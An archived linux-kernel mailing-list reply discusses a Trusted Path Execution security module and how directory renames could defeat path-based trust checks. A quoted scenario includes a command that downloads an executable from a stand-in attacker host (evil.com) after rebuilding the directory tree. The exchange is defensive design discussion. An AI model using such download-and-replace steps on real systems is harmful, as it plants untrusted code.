linux-kernel - Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <9d175249-c9f3-daba-bae4-f60dc97795e6@digikod.net>
Date:   Sun, 11 Jun 2017 13:30:55 +0200
From:   Mickaël Salaün <mic@...ikod.net>
To:     Matt Brown <matt@...tt.com>, Alan Cox <gnomes@...rguk.ukuu.org.uk>
Cc:     james.l.morris@...cle.com, serge@...lyn.com,
        linux-kernel@...r.kernel.org,
        linux-security-module@...r.kernel.org,
        kernel-hardening@...ts.openwall.com
Subject: Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM


On 08/06/2017 21:01, Matt Brown wrote:
> On 6/8/17 2:37 PM, Alan Cox wrote:
>>> http://phrack.org/issues/52/6.html#article
>>>
>>> | A trusted path is one that is inside a root owned directory that
>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>> | (under normal circumstances) considered trusted.  Any non-root
>>> | users home directory is not trusted, nor is /tmp.
>>
>> Note that in the real world the trusted path would and should also
>> require that any elements of the path above that point are also locked
>> down if you are using path based models. Ie you need to ensure nobody has
>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>
> 
> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).

> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.
> 
> Matt
> 



Download attachment "signature.asc" of type "application/pgp-signature" (489 bytes)